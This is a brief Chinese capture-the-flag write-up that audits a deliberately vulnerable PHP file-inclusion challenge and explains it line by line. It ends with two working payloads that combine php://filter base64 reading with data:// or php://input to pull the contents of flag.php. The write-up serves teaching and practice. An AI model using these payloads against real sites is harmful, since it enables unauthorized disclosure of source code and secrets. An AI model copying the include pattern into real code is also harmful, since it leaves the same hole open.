[文件包含,少许难度]
地址:攻防世界
代码审计WRONG WAY!
<?php
include("flag.php"); #包含了一个“flag.php”文件
highlight_file(__FILE__); #来显示当前文件的源代码
if(isset($_GET["file1"]) && isset($_GET["file2"])) #isset()是一个内置函数,用于检查变量是否存在且为非null。 检查是否设置了get参数“file1”和“file2” 且 有值
{
$file1 = $_GET["file1"]; #get传入一个"file1"赋值给$file1
$file2 = $_GET["file2"]; #get传入一个"file2"赋值给$file2
if(!empty($file1) && !empty($file2)) #检查是否“$file1和$file2” 都不为空
{
if(file_get_contents($file2) === "hello ctf") #(file_get_contents($file2) 是一个内置函数,用于将整个文件的内容读取到一个字符串中的函数调用,file2是一个文件路径。 这里是检查读取file2 文件中的内容 是否和"hello ctf" 完全相等
{
include($file1); # 满足上述条件,才可以执行 include($file1),出发文件包含漏洞,“$file1”的文件可以读取 “flag.php” 的内容
}
}
else
die("NONONO"); #否则,输出“NONONO”
}
详细介绍
(file_get_contents($file2)
一个内置函数,用来读取文件的内容,$file2 是包含文件路径的变量,file_get_contents 函数会打开该文件,并且将文件的所有内容会作为一个字符串返回,打开失败时,则返回false最后包含file1,我们希望得到flag,获取内容,可以用filter读取
file1和 file2 要存在,且都不为空,file2 的内容为 hello ctf
因为file2 的内容为 hello ctf 可以用php://input 和data:// 进行绕过
payload1:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf payload2:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input
总结:
整体来说不难,主要是代码审计,配合文件包含php伪协议即可,多多重复,你也行!